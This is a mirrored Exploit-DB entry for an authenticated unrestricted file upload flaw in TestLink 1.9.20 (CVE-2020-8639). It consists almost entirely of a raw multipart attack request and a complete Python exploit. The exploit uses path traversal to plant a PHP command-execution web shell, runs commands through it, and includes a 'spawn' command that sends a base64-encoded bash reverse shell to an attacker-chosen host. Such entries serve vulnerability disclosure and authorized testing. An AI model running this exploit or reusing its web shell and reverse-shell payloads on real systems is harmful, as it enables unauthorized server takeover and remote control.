TestLink 1.9.20 – Unrestricted File Upload (Authenticated)

  • 作者: snovvcrash
    日期: 2021-02-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49561/
  • # Exploit Title: TestLink 1.9.20 - Unrestricted File Upload (Authenticated)
    # Date: 14th February 2021
    # Exploit Author: snovvcrash
    # Original Research by: Ackcent AppSec Team
    # Original Research: https://ackcent.com/testlink-1-9-20-unrestricted-file-upload-and-sql-injection/
    # Vendor Homepage: https://testlink.org/
    # Software Link: https://github.com/TestLinkOpenSourceTRMS/testlink-code
    # Version: 1.9.20
    # Tested on: Ubuntu 20.10
    # CVE: CVE-2020-8639
    # Requirements: pip3 install -U requests bs4
    # Usage Example: ./exploit.py -u admin -p admin -P 127.0.0.1:8080 http://127.0.0.1/testlink
    
    """
    Raw exploit request:
    
    POST /testlink/lib/keywords/keywordsImport.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------242818621515179709592867995067
    Content-Length: 1187
    Origin: http://127.0.0.1
    Connection: close
    Referer: http://127.0.0.1/testlink//lib/keywords/keywordsImport.php?tproject_id=1
    Cookie: PHPSESSID=kvbpl3t3lec42qbjdcgdppncib; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=af57ebce9f54ce0f0e36d24ef25dc9c1b3a9d2f8e0b9cb4454c973927306e90f
    Upgrade-Insecure-Requests: 1
    
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="CSRFName"
    
    CSRFGuard_1115715115
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="CSRFToken"
    
    506c4b44825c5e5885231c263e7195188dedbd154b9cf74e5d183c1feb953aec7c0edae1097649d82acd20f6f851e0cdbac91cc0589d1cfd6fb13741f9cf0cb8
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="importType"
    
    /../../../logs/pwn.php
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    409600
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="uploadedFile"; filename="foo.xml"
    Content-Type: application/xml
    
    <?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="tproject_id"
    
    1
    -----------------------------242818621515179709592867995067
    Content-Disposition: form-data; name="UploadFile"
    
    Upload file
    -----------------------------242818621515179709592867995067--
    """
    
    #!/usr/bin/env python3
    
    import re
    from urllib import parse
    from cmd import Cmd
    from base64 import b64encode
    from argparse import ArgumentParser
    
    import requests
    from bs4 import BeautifulSoup
    
    parser = ArgumentParser()
    parser.add_argument('target', help='target full URL without trailing slash, ex. "http://127.0.0.1/testlink"')
    parser.add_argument('-u', '--username', default='admin', help='TestLink username')
    parser.add_argument('-p', '--password', default='admin', help='TestLink password')
    parser.add_argument('-P', '--proxy', default=None, help='HTTP proxy in format <HOST:PORT>, ex. "127.0.0.1:8080"')
    args = parser.parse_args()
    
    
    class TestLinkWebShell(Cmd):
    
    	payloadPHP = """<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>"""
    	uploadPath = 'logs/pwn.php'
    	prompt = '$ '
    
    	def __init__(self, target, username, password, proxies):
    		super().__init__()
    
    		self.target = target
    		self.username = username
    		self.password = password
    
    		if proxies:
    			self.proxies = {'http': f'http://{proxies}', 'https': f'http://{proxies}'}
    		else:
    			self.proxies = None
    
    		self.session = requests.Session()
    		self.session.verify = False
    
    		resp = self.session.get(f'{self.target}/login.php', proxies=self.proxies)
    		soup = BeautifulSoup(resp.text, 'html.parser')
    
    		self.csrf_name = soup.find('input', {'name': 'CSRFName'}).get('value')
    		self.csrf_token = soup.find('input', {'name': 'CSRFToken'}).get('value')
    		self.req_uri = soup.find('input', {'name': 'reqURI'}).get('value')
    		self.destination = soup.find('input', {'name': 'destination'}).get('value')
    
    	def auth(self):
    		data = {
    			'CSRFName': self.csrf_name,
    			'CSRFToken': self.csrf_token,
    			'reqURI': self.req_uri,
    			'destination': self.destination,
    			'tl_login': self.username,
    			'tl_password': self.password
    		}
    
    		resp = self.session.post(f'{self.target}/login.php?viewer=', data=data, proxies=self.proxies)
    		if resp.status_code == 200:
    			print('[*] Authentication succeeded')
    
    			resp = self.session.get(f'{self.target}/lib/general/mainPage.php', proxies=self.proxies)
    			if resp.status_code == 200:
    				print('[*] Loaded mainPage.php iframe contents')
    				soup = BeautifulSoup(resp.text, 'html.parser')
    
    				self.tproject_id = soup.find('a', {'href': re.compile(r'lib/keywords/keywordsView.php\?')}).get('href')
    				self.tproject_id = parse.parse_qs(parse.urlsplit(self.tproject_id).query)['tproject_id'][0]
    
    				print(f'[+] Extracted tproject_id value: {self.tproject_id}')
    
    			else:
    				raise Exception('Error loading mainPage.php iframe contents')
    
    		else:
    			raise Exception('Authentication failed')
    
    	def upload_web_shell(self):
    		files = [
    			('CSRFName', (None, self.csrf_name)),
    			('CSRFToken', (None, self.csrf_token)),
    			('importType', (None, f'/../../../{TestLinkWebShell.uploadPath}')),
    			('MAX_FILE_SIZE', (None, '409600')),
    			('uploadedFile', ('foo.xml', TestLinkWebShell.payloadPHP)),
    			('tproject_id', (None, self.tproject_id)),
    			('UploadFile', (None, 'Upload file'))
    		]
    
    		resp = self.session.post(f'{self.target}/lib/keywords/keywordsImport.php', files=files, proxies=self.proxies)
    		if resp.status_code == 200:
    			print(f'[*] Web shell uploaded here: {self.target}/{TestLinkWebShell.uploadPath}')
    
    			print('[*] Trying to query whoami...')
    			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c=whoami', proxies=self.proxies)
    			if resp.status_code == 200:
    				print(f'[+] Success! Starting semi-interactive shell as {resp.text.strip()}')
    
    			else:
    				raise Exception('Error interacting with the web shell')
    
    		else:
    			raise Exception('Error uploading web shell')
    
    	def emptyline(self):
    		pass
    
    	def preloop(self):
    		self.auth()
    		self.upload_web_shell()
    
    	def default(self, args):
    		try:
    			resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c={args}', proxies=self.proxies)
    			if resp.status_code == 200:
    				print(resp.text.strip())
    		except Exception as e:
    			print(f'*** Something weired happened: {e}')
    
    	def do_spawn(self, args):
    		"""Spawn a reverse shell. Usage: \"spawn <LHOST> <LPORT>\"."""
    		try:
    			lhost, lport = args.split()
    			payload = f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
    			b64_payload = b64encode(payload.encode()).decode()
    			cmd = f'echo {b64_payload} | base64 -d | /bin/bash'
    			self.default(cmd)
    		except Exception as e:
    			print(f'*** Something weired happened: {e}')
    
    	def do_EOF(self, args):
    		"""Use Ctrl-D to exit the shell."""
    		print(); return True
    
    
    if __name__ == '__main__':
    	tlws = TestLinkWebShell(args.target, args.username, args.password, args.proxy)
    	tlws.cmdloop('Type help for list of commands')